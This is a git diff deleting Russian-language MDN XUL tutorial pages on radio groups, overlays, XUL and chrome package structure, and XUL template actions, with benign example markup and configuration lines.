-</p><p>Любые радиокнопки, содержащиеся в элементе группы, будут объединены друг с другом, даже если они находятся внутри еще каких-либо элементов. Это полезно при добавлении разных элементов, придающих группе кнопок дополнительную структуру. Этот прием отражен в следующем примере:
-</p><p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul">Просмотреть</a>
-</p>
-<pre>&lt;radiogroup&gt;
- &lt;radio id="no" value="no" label="No Number"/&gt;
- &lt;radio id="random" value="random" label="Random Number"/&gt;
- &lt;hbox&gt;
- &lt;radio id="specify" value="specify" label="Specify Number:"/&gt;
- &lt;textbox id="specificnumber"/&gt;
- &lt;/hbox&gt;
-&lt;/radiogroup&gt;
-</pre>
-<p>Заметьте, что вокруг элемента <code><code><a href="/ru/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> по умолчанию рамка не рисуется. Можно поместить группу радиокнопок внутрь элемента <code><code><a href="/ru/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>, чтобы появилась рамка, и можно было добавить заголовок.
-</p><p>Далее, используя только что полученные знания, мы добавим <a href="ru/XUL_Tutorial/Adding_More_Elements">еще немного элементов в наш пример поискового диалога</a>.
-</p><p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Box_Model_Details" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Adding_More_Elements">Следующая статья »</a></p>
-</div>
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/оверлеи/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/оверлеи/index.html
deleted file mode 100644
index 20ce1660d7..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/оверлеи/index.html
+++ /dev/null
@@ -1,7 +0,0 @@
----
-title: Оверлеи
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Оверлеи
----
-<p>В этой главе будет описаны оверлеи которые могут быть использованы для разделения обычного содержимого.</p>
-<h4 id="Использование_Оверлеев">Использование Оверлеев</h4>
-<p>В простом приложении с только одним окном, обычно, вы будете иметь только один XUL файл, вместе с файлом скрипта, файлом стилей, DTD файл и возможно несколько картинок. Некоторые приложения так же будут иметь ассоциированные с ними диалоги. Они будут размещены в отдельные XUL файлы. <span class="hps">Более сложные</span> <span class="hps">приложения будут</span> <span class="hps">содержать множество </span><span class="hps">окон и</span> <span class="hps">диалогов.</span></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/структура_xul/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/структура_xul/index.html
deleted file mode 100644
index b2c047f1cd..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/структура_xul/index.html
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Структура XUL
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Структура_XUL
-tags:
- - XUL_Tutorial
----
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/Руководство_по_XUL:Введение" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/Руководство_по_XUL:Про_chrome-пути">Следующая статья »</a></p>
-</div><p></p>
-
-<p><br>
- <span style="font-size: medium;"><em>Начнём с описания того, как обрабатывается XUL в браузере Mozilla.</em></span></p>
-
-<h3 id=".D0.9A.D0.B0.D0.BA_XUL_.D0.BE.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D1.82.D1.81.D1.8F" name=".D0.9A.D0.B0.D0.BA_XUL_.D0.BE.D0.B1.D1.80.D0.B0.D0.B1.D0.B0.D1.82.D1.8B.D0.B2.D0.B0.D0.B5.D1.82.D1.81.D1.8F">Как обрабатывается XUL</h3>
-
-<p>XUL обрабатывается в Mozilla теми же методами, что и HTML или другие типы содержимого. Когда вы вводите URL HTML-страницы в адресную строку браузера, браузер находит веб-сайт и загружает его содержимое. Механизм рендеринга Mozilla получает содержимое в виде исходного кода HTML и преобразует его в дерево документа. Дерево затем конвертируется в набор объектов, которые уже могут быть отображены на экране. Таблицы стилей (<a href="/ru/CSS" title="ru/CSS">CSS</a>), изображения, и другие технологии, используются для управления отображением. XUL в основном функционирует похожим образом.</p>
-
-<p>На самом деле, в Mozilla, все типы документов, будь то HTML или XUL, или даже <a href="/ru/SVG" title="ru/SVG">SVG</a>, обрабатываются одним и тем же кодом ядра. Это означает, что одни и те же CSS свойства могут использоваться для оформления и HTML и XUL, и многие функции также могут быть доступны обоим. Тем не менее, существуют некоторые особенности, которые являются специфическими для HTML, такие, как формы, и другие, которые являются характерными для XUL такие как <a href="/ru/XUL_Tutorial/Overlays" title="ru/XUL_Tutorial/Overlays">оверлеи </a>. Поскольку XUL и HTML обрабатываются сходным образом, постольку вы можете загружать их либо из локальной файловой системы, либо с веб-страницы, либо из дополнения или автономного XULRunner-приложения.</p>
-
-<p>Содержимое удаленных источников, например <code><span class="nowiki">http://localhost/~username/</span></code>, независимо от того, HTML это, или XUL или другой тип документа, будет по соображениям безопасности ограничено по типу операций, которое оно может выполнить. Из-за этого Mozilla обеспечивает возможность локальной установки кнтента и регистрации установленных файлов как части её <strong><a href="/ru/Chrome" title="ru/Chrome">chrome</a></strong> системы. Это позволяет использовать специальный формат URL -- <code>chrome://</code> URL. Получая доступ к файлу посредством chrome URL, Mozilla обеспечивает этим файлам расширенные права для доступа к локальным файлам, к настройкам и закладкам, и выполнению других привилегированных операций. Очевидно, что у веб-страниц нет таких привилегий, если только они не имеют цифрового сертификата и пользователь не дал разрешение на выполнение таких операций.</p>
-
-<p>Эта регистрация пакетов в <strong>chrome</strong> системе -- способ Firefox-дополнений добавлять новые функции в браузер. Дополнения это небольшие пакеты из XUL файлов, сценариев JavaScript, таблиц стилей и изображений упакованных в один файл. Такой упакованный файл может быть создан с помощью архиватора ZIP. Когда пользователь загружает дополнение, файлы, содержащиеся в нем устанавливаются на компьютер пользователя. Расширение внедряется в браузер с помощью специального механизма XUL, называемого - <a href="/ru/Overlay" title="ru/Overlay">оверлей (overlay)</a> и обеспечивающего объединение XUL-кода дополнения и кода XUL браузера. Пользователю может показаться, что дополнение изменило браузер, но на самом деле, код браузера и дополнения разделены, и дополнение может быть легко удалено. Зарегистрированным пакетам, конечно же, использование оверлеев не требуется. Если бы это было не так, то вы не смогли бы получить к ним доступ посредством основного интерфейса браузера, правда, к ним можно все же получить доступ с помощью chrome URL, если вы знаете что это такое.</p>
-
-<p>Автономные XUL приложения могут интегрировать XUL-код похожим способом, но, естественно, XUL для приложения будет включаться как часть установки, вместо того чтобы быть установленным отдельно как дополнение. Однако, этот XUL-код будет зарегистрирован в chrome-системе, чтобы приложение могло отображать интерфейс пользователя.</p>
-
-<p>Следует также отметить, что браузер Mozilla сам представляет собой просто набор пакетов, содержащих файлы XUL, JavaScript и таблицы стилей. Эти файлы доступны через chrome URL, имеют расширенные привилегии и работают так же, как любой другой пакет. Конечно, браузер гораздо больше и более сложен, чем большинство дополнений. Firefox и Thunderbird также как и другие компоненты, все написаны на XUL и все они доступны через chrome URL-ы. Вы можете исследовать эти пакеты, просмотрев каталог chrome, в который установлен Firefox или другое XUL приложение.</p>
-
-<p>Chrome URL всегда начинается с 'chrome://'. Также как <span class="nowiki">'http://'</span> URL всегда ссылается на веб-сайты используя HTTP и 'file://' URL всегда ссылается на локальные файлы, 'chrome://' URL всегда ссылается на установленные пакеты и дополнения. Подробнее синтаксис chrome URL будет рассмотрен в следующем разделе. Важно отметить, что доступ через chrome URL даёт дополнительные привилегии, описанные выше, чего не дают другие типы URL. Так, например, HTTP URL не имеет каких-либо особых привилегий, и если веб-страница попытается, например, считать локальный файл то произойдет ошибка. А файл, загруженный через chrome URL, может читать файлы имея тот же уровень доступа, что и установленное расширение, которому он принадлежит.</p>
-
-<p>Это различие очень важно. Оно означает, что есть определенные вещи, которые контент веб-страницы не может выполнить, например - прочитать закладки пользователя. Это различие основывается не на типе отображаемого контента, а только на типе используемого URL. И HTML и XUL, размещённые на веб-сайте, не имеют никаких дополнительных разрешений, однако если и HTML и XUL загружены через chrome URL, то они эти разрешения получают.</p>
-
-<p>Если вы собираетесь использовать XUL на веб-сайте, то просто выложите на этот сайт XUL, как обычный HTML файл, а затем загрузите этот URL в браузере <small><span class="nowiki">http://localhost/xul.php</span></small>. Проверьте, что ваш веб-сервер отправляет правильный заголовок типа контента content-type (он должен быть равен <strong><code>application/vnd.mozilla.xul+xml</code></strong>, например, для PHP можно использовать <code>header('Content-type: application/vnd.mozilla.xul+xml');</code>). Этот тип контента является механизмом, с помощью которого система Mozilla отличала XUL от HTML. Mozilla не использует расширение файла, если только не считывает файлы из файловой системы, но для XUL файлов вам необходимо использовать расширение <code>.xul</code>. Вы можете загружать XUL файлы с собственного компьютера, открывая их в браузере или двойным щелчком по имени файла в файловом менеджере.</p>
-
-<div class="note">Помните, что XUL, полученный из удаленного источника будет иметь значительные ограничения в действиях, которые он сможет выполнять.</div>
-
-<h4 id=".D0.A2.D0.B8.D0.BF.D1.8B_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0:_HTML_XML_XUL_CSS" name=".D0.A2.D0.B8.D0.BF.D1.8B_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0:_HTML_XML_XUL_CSS">Типы документа: HTML XML XUL CSS</h4>
-
-<p>Mozilla использует существенно разные типы объектов документа (<a href="/ru/DOM" title="ru/DOM">DOM</a>) для HTML и XUL, хотя у них много общего в смысле функциональности. В Mozilla есть вВсего три типа документа имеются : HTML, XML, and XUL. Естественно, HTML документ используется для документов HTML, XUL документ используется для документов XUL, и XML документ используется для других типов документов XML. Поскольку XUL это разновидность XML, постольку документ XUL это подмножество более общего XML документа. Однако есть тонкие различия в функциональности. Так, например, когда управляющие элементы формы на HTML странице доступны через свойство <code>document.forms</code>, это свойство не доступно для документов  XUL, так как в XUL нет форм в том смысле, в котором они есть в HTML. Сходным образом специфические возможности XUL, такие как оверлеи и шаблоны, существуют только в документах XUL.</p>
-
-<p>Эти различия очень важны. Можно использовать многие возможности XUL в HTML или XML документах в тех случаях, когда эти возможности не являются специфичными для типа документа; <span>тем не менее для других возможностей необходим правильный тип документа.</span></p>
-
-<p><span>Подведя ито</span>ги вышесказанного:</p>
-
-<ul>
- <li>Mozilla рендерит <a href="/ru/HTML" title="ru/HTML">HTML</a> и <a href="/ru/XUL" title="ru/XUL">XUL</a> одинаковым образом и использует <a href="/ru/CSS" title="ru/CSS">CSS</a> для их отображения.</li>
- <li>XUL может загружаться с сайта, из локальной файловой системы, или устанавливаться как пакет и быть доступным через  <a href="/ru/Chrome" title="ru/Chrome">chrome</a> URL. Последний вариант как раз и используется для дополнений.</li>
- <li>Chrome URL-ы могут использоваться для доступа к установленным пакетам и открытия последних с дополнительными привилегиями.</li>
- <li>HTML, XML, и XUL имеют различный тип документа. Одни возможности могут использоваться в любых типах документа, а другие возможности - специфичны для конкретного типа.</li>
-</ul>
-
-<p>Следующие несколько разделов описывают chrome пакет, который может устанавливаться в Mozilla. Но, если вы хотите уже начать разработку простого приложения, то вы можете сразу перейти на <a href="/ru/XUL_Tutorial/Creating_a_Window" rel="internal"><font color="#638fa2">Создаем окно</font></a> и вернуться к этому разделу позже.</p>
-
-<h3 id="Package_Organization" name="Package_Organization">Устройство пакета</h3>
-
-<p>Mozilla устроен таким образом, что вы можете иметь столько компонентов сколько вы захотите установить. Каждое дополнение - это отдельный компонент со своим chrome URL. В Mozilla также есть по одному компоненту для каждого установленного скина и локали. Каждый из этих компонентов, или пакетов, состоит из набора файлов, которые описывают его пользовательский интерфейс. К примеру, компонент messenger содержит описания окна списка почтовых сообщений, окно создания письма и описания диалоговых окон адресной книги.</p>
-
-<p>Пакеты, которые предоставляются в составе Mozilla, расположены внутри каталога <strong>chrome</strong>, который находится в каталоге, в который вы установили Mozilla. В каталоге <strong>chrome </strong>вы найдете все файлы, описывающие интерфейс самого браузера Mozilla, почтового клиента, и других приложений. Обычно вы размещаете все  XUL файлы в каталоге приложения, однако дополнения устанавливаются в каталоге <strong>extensions </strong>для каждого отдельного пользователя. Простое копирование XUL файла в каталог <strong><code>chrome</code> </strong>не дает ему каких-либо дополнительных привилегий, также он не может быть доступен через chrome URL. Для получения дополнительных привилегий вам необходимо создать manifest-файл и поместить его в каталог chrome. Этот файл легко создать, так как он обычно состоит всего из нескольких строк. Он используется для отображения(связывания) chrome URL-а на путь к файлу или каталогу где лежат XUL файлы. Подробности создания этого файла обсуждаются <a href="/Ru/XUL_Tutorial/Manifest_Files" title="ru/XUL_Tutorial/Manifest_Files">в разделе далее</a>.</p>
-
-<p>Единственный способ создать контент доступный через chrome URL, это создать пакет, как описано в нескольких нижеследующих разделах. Каталог называется 'chrome', скорее всего потому, что имя оказалось удобным, чтобы запомнить, что он используется для хранения chrome пакетов, содержащихся в Mozilla.</p>
-
-<p>Чтобы увеличить путаницу, отметим, что есть еще два других места, где может появляться слово "chrome". Это параметр <code>-chrome</code> в командной строке и модификатор <code>chrome</code> в функции <code><a href="/ru/DOM/window.open" title="ru/DOM/window.open">window.open()</a></code>. Ни одна из этих возможностей не дает дополнительных привилегий; вместо этого они используются для открытия нового окна верхнего уровня без элементов браузерного интерфейса, таких, как меню и панели инструментов. Вы можете использовать эту возможность в более сложных XUL приложениях если не хотите чтобы интерфейс браузера присутствовал в ваших диалоговых окнах.</p>
-
-<p>Файлы пакета обычно объединяются в JAR файл. Этот файл может быть создан любым ZIP архиватором. Например, вы можете открыть JAR файлы из  <code><span style="font-family: verdana,tahoma,sans-serif;">каталога </span>chrome</code> Mozill-ы, чтобы посмотреть базовую структуру пакета.  Несмотря на то, что обычно файлы упаковываются в JAR, пакеты могут также быть доступны в несжатой форме внутри каталога. Распространять пакеты таким образом не рекомендуется, но это очень удобно для разработки, так как вы можете править файлы напрямую и перезагружать XUL без необходимости переустановки или переупаковки файлов.</p>
-
-<p>По умолчанию, приложения Mozill-ы парсят XUL файлы и скрипты, и сохраняют прекомпилированную версию в памяти до конца сессии приложения. Это повышает производительность. Однако, из-за этого XUL не перезагрузится даже если исходные файлы изменятся. Чтобы отключить этот механизм, необходимо изменить опцию <code>nglayout.debug.disable_xul_cache</code>. В Firefox, эта опция может быть добавлена в пользовательские настройки простым вводом "about:config" в адресную строку, и установкой значения опции в true. Или же вы можете вручную отредактировать файл настроек <code>user.js,</code> добавив следующую строчку:</p>
-
-<pre class="eval">pref("nglayout.debug.disable_xul_cache", true);
-</pre>
-
-<p>Как правило chrome пакет состоит из трех частей, хотя ни одна из них не является обязательной. Каждая часть хранится в отдельном каталоге. Эти три части это контент, скин и локаль, все они описываются ниже. Отдельно взятый пакет может содержать один или более скинов и локалей, но пользователи могут заменять их своими собственными. Дополнительно пакет может содержать несколько различных приложений, каждое из которых доступно через свой  отдельный chrome URL. Система упаковки достаточно гибкая, так что вы можете включать любые нужные вам части и разрешать отдельную загрузку других частей, таких как текст для разных языков пользователей.</p>
-
-<p>Три типа chrome-пакетов, это:</p>
-
-<ul>
- <li><strong>Content</strong>  (Контент)- Окна и скрипты<br>
- Объявление окон и элементов, содержащихся в них. Они сохраняются в XUL файлах, с расширением <code>.xul</code>. Пакет контента может содержать несколько  XUL файлов, однако главное окно должно быть описано в файле с именем, совпадающим с именем самого пакета. Например, пакет редактора будет содержать внутри себя файл с названием <code>editor.xul</code>. Сценарии помещаются в отдельные файлы, размещенные вместе с XUL файлами.</li>
- <li><strong>Skin</strong> (Скин) - Таблицы стилей, изображения и другие спецфичные для тем оформления файлы<br>
- Таблицы стилей описывают детали внешнего вида окна. Они хранятся отдельно от XUL файлов для упрощения внесения изменений в скин (тему) приложения. Все используемые изображения также хранятся здесь.</li>
- <li><strong>Locale</strong> (Локаль) - Файлы, специфичные для локализации<br>
- Все надписи и тексты, отображаемые на элементах интерфейса окна приложения, хранятся отдельно. При этом пользователи могут иметь свои наборы локалей для их языков общения.</li>
-</ul>
-
-<h3 id="Content_Packages" name="Content_Packages">Пакеты контента</h3>
-
-<p>Имя файла JAR может описывать то, что он содержит, но вы не сможете сказать с уверенностью, соответствует ли название пакета его содержимому, до тех пор пока не просмотрите это содержимое. Приведем пример на основе пакета, имеющегося в составе Firefox. Если вы распакуете файлы из пакета  <code>browser.jar</code>, вы увидите, что он содержит струтуру папок выглядящую скорее всего примерно так:</p>
-
-<pre>content
- browser
- browser.xul
- browser.js
- -- other browser XUL and JS files goes here --
- bookmarks
- -- bookmarks files go here --
- preferences
- -- preferences files go here --
-.
-.
-.
-</pre>
-
-<p>Этот пакет можно легко опознать, как пакет контента, поскольку папка самого верхнего уровня называется <code>content</code>. Для скинов эта папка, как правило, будет называться <code>skin</code>, а для локалей - <code>locale</code>. Эта схема поименования не является обязательной, но это общепринятое соглашение для того, чтобы сделать более понятным, какая часть пакета что содержит. Некоторые пакеты могут иметь раздел контента, скин и локаль. В таком случае вы обнаружите по папке для каждого типа. Так например пакет Chatzilla поставляется именно в таком виде.</p>
-
-<p>Папка <code>content/browser</code> содержит набор файлов с расширениями <code>.xul</code> и <code>.js</code>. XUL файлы - это файлы с расширением <code>.xul</code>. Файлы с расширением <code>.js</code> - это файлы сценариев на языке JavaScript, которые обеспечивают собственно функциональность элементов интерфейса окна. Многие XUL файлы имеют файл сценария, связанного с ними, а некоторые могут иметь по несколько таких файлов сценариев.</p>
-
-<p>В вышеприведенном листинге приведены два файла. Конечно в пакете есть и другие файлы, но для простоты изложения они не показаны. Файл <code>browser.xul</code> - это XUL файл, который описывает главное окно браузера. Главное окно для пакета контента должно иметь такое же имя, как пакет с раширением <code>.xul</code>. В данном случае имя пакета - "browser", поэтому мы предполагаем обнаружить файл <code>browser.xul</code>. Некоторые другие XUL файлы описывают отдельные окна. Например, файл <code>pageInfo.xul</code> описывает диалог информации о странице.</p>
-
-<p>Во многие пакеты будет входить файл <code>contents.rdf</code>, который описывает пакет, его автора, и оверлеи, которые использует этот пакет. Однако этот файл устарел и заменен более простым механизмом. Этим механизмом является файл манифеста, упомянутый ранее, вы можете отличить эти файлы в папке chrome по расширению <code>.manifest</code>. Например, <code>browser.manifest</code> описывает пакет браузера.</p>
-
-<p>Несколько подкаталогов, таких, как <code>bookmarks</code> и <code>preferences</code>, представляют дополнительные разделы компонента браузера. Они размещаются в различных папках только для того, чтобы расположение файлов было более организованным.</p>
-
-<h3 id="Skins_or_Themes" name="Skins_or_Themes">Скины или Темы</h3>
-
-<p>Несмотря на то, что код ядра Mozilla называет такие объекты скинами, а в пользовательском интерфейсе они называются темами, они оба ссылаются на одну и ту же вещь. В файле <code>classic.jar</code> описана тема по умолчанию, поставляемая вместе с Firefox. Структура этих частей  очень напоминает пакеты контента. Например, посмотрите <code>classic.jar</code>:</p>
-
-<pre>skin
- classic
- browser
- browser.css
- -- other browser skin files go here --
- global
- -- global skin files go here --
-.
-.
-.
-</pre>
-
-<p>Повторимся, что такая струтура папок не является необходимой и используется исключительно для удобства. В действительности вы можете поместить все файлы в одну папку верхнего уровня и не пользоваться подкаталогами. Однако в случае приложений большого размера подкаталоги используются для разделения разных компонентов. В вышеприведенном примере одна папка предназначена для файлов, связанных с темой для браузера, a другая - для файлов, имеющих отношение к общей для приложения теме оформления. Общая папка содержит файлы тем оформления (скинов), являющиеся общими для всех пакетов. Эти файлы используются во всех компонентах и будут включены в поставку вашего отдельного самостоятельного приложения. Общая часть определяет внешний вид всех общих виджетов XUL, тогда как все прочие папки содержат файлы, специфичные для самих приложений. Firefox содержит в одном архиве и общие файлы темы оформления и файлы темы оформления браузера, но они могут содержаться и по отдельности.</p>
-
-<p>Скин состоит из CSS файлов и набора изображений, используемых для задания внешнего вида интерфейса. Файл <code>browser.css</code> используется файлом <code>browser.xul</code> и содержит стили, которые определяют внешний вид различных частей интерфейса браузера. Повторно отметим, что файл <code>browser.css</code> называется такое же имя, как и пакет в целом. Путем изменения CSS файлов вы можете менять внешний вид окна, не меняя при этом его функций. Именно таким способом вы можете создать новую тему оформления. Часть XUL остается неизменной, и независимо от нее меняется только часть со скином.</p>
-
-<h3 id="Locales" name="Locales">Локали</h3>
-
-<p>Файл <code>en-US.jar</code> содержит описание языковой информации для каждого компонента, в данном случае на американском варианте Английского языка. Аналогично скинам, каждый языковой раздел содержит файлы, которые определяют тексты, используемые в пакете для каждого отдельного языка. Структура локали сходна со всеми остальными, поэтому здесь она не приводится.</p>
-
-<p>Локализованный текст хранится в файлах двух типов: DTD файлы и файлы свойств. Файлы DTD имеют расширение <code>.dtd</code> и содержат определения объектов, по одному на каждую строку текста, используемую в окне. Например, файл <code>browser.dtd</code> содержит определения объектов для каждой команды меню. Кроме того для каждой команды определяются сочетания клавиш, так как они могут быть различными для каждого языка. Файлы DTD также используются XUL файлами, по одному файлу DTD на каждый XUL файл в общем случае. Часть локали также содержит файлы свойств, которые похожи на файлы DTD, но используются файлами сценариев. Файл <code>browser.properties</code> содержит несколько таких локализованных строк.</p>
-
-<p>Эта структура позволяет вам переводить Mozilla или компонент приложения на разные языки просто добавляя новые локали для этих языков. И при этом вам не нужно менять полностью код XUL. К тому же другой программист может создать отдельный пакет, который добавит скин или локаль к контенту вашего приложения, что позволят создавать новые темы оформления или добавлять языки интерфейса без необходимости менять исходный пакет.</p>
-
-<h3 id="Other_Packages" name="Other_Packages">Другие пакеты</h3>
-
-<p>Существует специальный пакет, называющийся toolkit (или global). Ранее мы уже видели папку с глобальными данными в скинах. Файл <code>toolkit.jar</code> содержит соответствующие части контента для такого пакета. Он содержит некоторые глобальные диалоги и определения. Также он определяет вид по умолчанию и функциональность различных общих виджетов XUL, таких как текстовые поля и кнопки. Файлы, расположенные в глобальной части пакета скина содержат вид по умолчанию для всех элементов интерфейса XUL. Пакет tolkit используется всеми XUL приложениями.</p>
-
-<h3 id="Adding_a_Package" name="Adding_a_Package">Добавление пакета</h3>
-
-<p>Mozilla помещает пакеты, которые поставляются вместе с дистрибутивом, в папку <code>chrome</code>. Однако это не означает, что они обязательно должны там размещаться. При установке другого пакета вы можете поместить его в любое место на диске, при условии, что файл манифеста указывает на это место.</p>
-
-<p>Традиционно пакеты помещаются в папку <code>chrome</code> просто потому, что это удобно; тем не менее они будут работать точно так же и будучи размещенными в другой папке или даже в каком-нибудь каталоге вашей локальной сети. Но вы не сможете хранить их на удаленном сайте, если только этот сайт не смонтирован как локальная файловая система.</p>
-
-<p>Есть две папки <code>chrome</code> используемых для XUL приложений: одна - в том же месте, в которое установлено приложение, тогда как другая - часть профиля пользователя. Первая предназначена для пакетов, которые используются всеми пользователями, а вторая - для пакетов, применяемых только отдельным пользователем или пользователями. Расширения, будучи установленными в отдельную папку для расширений, также специфичны для каждого пользователя. Любые файлы манифеста, расположенные в любой из вышеприведенных папок, будут проверяться, чтобы определить, какие пакеты установлены.</p>
-
-<p>В следующей главе мы рассмотрим, как ссылаться на chrome пакеты с помощью chrome URL.</p>
-
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Introduction" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:The_Chrome_URL">Следующая статья »</a></p>
-</div> <span class="comment">Interwiki Language Links</span><p></p>
-
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/actions/index.html b/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/actions/index.html
deleted file mode 100644
index 179838def0..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_шаблонам_xul/actions/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: Генерирование контента
-slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Actions
-tags:
- - Руководство_по_шаблонам_XUL
-translation_of: Archive/Mozilla/XUL/Template_Guide/Actions
----
-<p>Для создания контента в шаблоне используется элемент &lt;action&gt;, который должен быть либо сестринским узлом элемента <code>query</code> либо прямым дочерним узлом элемента &lt;rule&gt;. Для каждого результата содержимое блока копируется и вставляется в документ. Давайте для начала рассмотрим простой пример.</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A"&gt;
- &lt;template&gt;
- &lt;query&gt;
- &lt;content uri="?start"/&gt;
- &lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
- &lt;/query&gt;
- &lt;action&gt;
- &lt;button uri="?relateditem" label="?relateditem"/&gt;
- &lt;/action&gt;
- &lt;/template&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Здесь элемент <code><a href="/ru/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code> не "обрамляет" элемента <code><a href="/ru/docs/Mozilla/Tech/XUL/action" title="action">action</a></code>, поскольку мы хотим, чтобы контент был создан безусловно. Вместо этого, элемент <code>action</code> помещён внутри элемента <code><a href="/ru/docs/Mozilla/Tech/XUL/template" title="template">template</a></code> - сразу после запроса. Блок action содержит всего один элемент управления, но вы можете использовать сколь угодно много элементов по-своему усмотрению. В данном случае, для каждого результата будет создана кнопка. Поскольку мы имеем три результата, будет создано три кнопки. Если вы запустите [<a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-ex1.xul">пример</a>] в своём браузере, вы увидите что-то в этом роде:</p>
-<p><img alt="Image:template-guide-p8.png" src="/samples/xultemp/template-guide-p8.png"></p>
-<p>Конструктор шаблонов последовательно обрабатывает содержимое блока action для каждого из трёх результатов. Атрибут кнопки uri используется для ссылки на значение конечной переменной (ending or member variable). В данном примере мы можем использовать только одну переменную ?relateditem, поскольку ?start - это начальная вершина, а конечная и исходная вершины не могут совпадать. Давайте снова посмотрим на имеющиеся результаты:</p>
-<pre>(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-</pre>
-<p>Конструктор начинает обрабатывать первый набор данных. При этом элемент &lt;button&gt; будет скопирован и вставлен в документ - сразу же после тела шаблона. Атрибут id нового элемента получит значение ?relateditem. Вы можете мысленно представить замену атрибута uri на id, заменяя при этом переменную. Поскольку в первом наборе данных переменная ?relateditem имеет значение '<span class="nowiki">http://www.xulplanet.com/rdf/B</span>', атрибут id получит это значение.</p>
-<p>После этого обрабатываются все остальные атрибуты элемента и, если нужно, в них подставляются значения переменных. Так, вместо строки ?relateditem атрибута label получим '<span class="nowiki">http://www.xulplanet.com/rdf/B</span>' (для первого набора данных). Убедитесь, что первая кнопка действительно имеет такую надпись. Таким образом, обработка первого результата завершена, и поэтому конструктор переходит к следующим. Для второго результата, которому соответствует узел B, конструктор создаст следующий контент:</p>
-<pre>&lt;button id="http://www.xulplanet.com/rdf/B" label="http://www.xulplanet.com/rdf/B"/&gt;
-</pre>
-<p>В блоках action фиксированные, заранее определенные значения атрибута id не используются - они игнорируются. Тем не менее, вы можете использовать предопределённые идентификаторы в других частях шаблона, например, в запросе. Для получения доступа к созданному шаблоном элементу используется, конечно же, метод getElementById. Так можно получить доступ ко второй созданной кнопке: document.getElementById("<span class="nowiki">http://www.xulplanet.com/rdf/C</span>").</p>
-<p>После окончания работы конструктора шаблонов документ имеет вид:</p>
-<pre>&lt;vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
- ref="http://www.xulplanet.com/rdf/A"&gt;
- &lt;template&gt;
- &lt;query&gt;
- &lt;content uri="?start"/&gt;
- &lt;triple subject="?start"
- predicate="http://www.xulplanet.com/rdf/relatedItem"
- object="?relateditem"/&gt;
- &lt;/query&gt;
- &lt;action&gt;
- &lt;button uri="?relateditem" label="?relateditem"/&gt;
- &lt;/action&gt;
- &lt;/template&gt;
- &lt;button id="http://www.xulplanet.com/rdf/B" label="http://www.xulplanet.com/rdf/B"/&gt;
- &lt;button id="http://www.xulplanet.com/rdf/C" label="http://www.xulplanet.com/rdf/C"/&gt;
- &lt;button id="http://www.xulplanet.com/rdf/D" label="http://www.xulplanet.com/rdf/D"/&gt;
-&lt;/vbox&gt;
-</pre>
-<p>Поскольку тэг &lt;template&gt; скрыт, вы увидите только три кнопки с надписями, полученными из источника данных.</p>
-<h3 id=".D0.94.D0.BE.D0.BF.D0.BE.D0.BB.D0.BD.D0.B8.D1.82.D0.B5.D0.BB.D1.8C.D0.BD.D1.8B.D0.B9_.D0.BA.D0.BE.D0.BD.D1.82.D0.B5.D0.BD.D1.82" name=".D0.94.D0.BE.D0.BF.D0.BE.D0.BB.D0.BD.D0.B8.D1.82.D0.B5.D0.BB.D1.8C.D0.BD.D1.8B.D0.B9_.D0.BA.D0.BE.D0.BD.D1.82.D0.B5.D0.BD.D1.82">Дополнительный контент</h3>
-<p>В предыдущем примере в блоке action были задействованы только кнопки. Но мы можем добавить рядом с ними надписи:</p>
-<pre>&lt;action&gt;
- &lt;hbox uri="?relateditem"&gt;
- &lt;label value="Related Item:"/&gt;
- &lt;button label="?relateditem"/&gt;
- &lt;/hbox&gt;
-&lt;/action&gt;
-</pre>
-<p>Таким образом, для каждого набора данных будет создан элемент &lt;hbox&gt;; при это атрибут id получит значение ?relateditem; внутри будут добавлены надпись и кнопка. Надпись на кнопке образована переменной ?relateditem. В данном случае атрибут id используется только для одного элемента, поскольку каждому результату соответствует лишь один блок &lt;hbox&gt;.</p>
